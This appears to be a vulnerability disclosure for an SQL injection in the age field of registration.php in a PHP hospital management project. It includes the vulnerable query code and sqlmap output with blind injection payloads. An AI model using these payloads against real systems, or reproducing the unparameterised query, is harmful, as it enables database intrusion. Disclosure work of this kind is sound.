SQL injection vulnerability exists in age parameter of registration.php file of Hospital Managment System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
if (isset($_POST['add'])) {
    $name = $_POST['name'];
    $email = $_POST['email'];
    $pass = $_POST['pass'];
    $gender = $_POST['gender'];
    $age = $_POST['age'];
    $city = $_POST['city'];

    $insert = "INSERT INTO `registration`(`name`, `email`, `password`, `gender`, `age`, `city`) VALUES ('$name','$email','$pass','$gender','$age','$city')";

    $result = $conn->query($insert);

    if ($result) {
        header("location:login.php");
    }
}
```

```
sqlmap identified the following injection point(s) with a total of 325 HTTP(s) requests:
---
Parameter: age (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: add=&age=20' RLIKE (SELECT (CASE WHEN (6156=6156) THEN 20 ELSE 0x28 END)) AND 'gQoo'='gQoo&city=San Francisco&email=testing@example.com&gender=male&name=0&pass=u

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: add=&age=20' AND (SELECT 5676 FROM (SELECT(SLEEP(5)))PgbI) AND 'PuMv'='PuMv&city=San Francisco&email=testing@example.com&gender=male&name=0&pass=u
---
```

“

Parameter: age (POST)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: add=&age=20' RLIKE (SELECT (CASE WHEN (6156=6156) THEN 20 ELSE 0x28 END)) AND 'gQoo'='gQoo&city=San Francisco&email=testing@example.com&gender=male&name=0&pass=u

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: add=&age=20' AND (SELECT 5676 FROM (SELECT(SLEEP(5)))PgbI) AND 'PuMv'='PuMv&city=San Francisco&email=testing@example.com&gender=male&name=0&pass=u

---

“

Source Download：

https://www.kashipara.com/project/php/12118/hospital-managment-system-php-project-source-code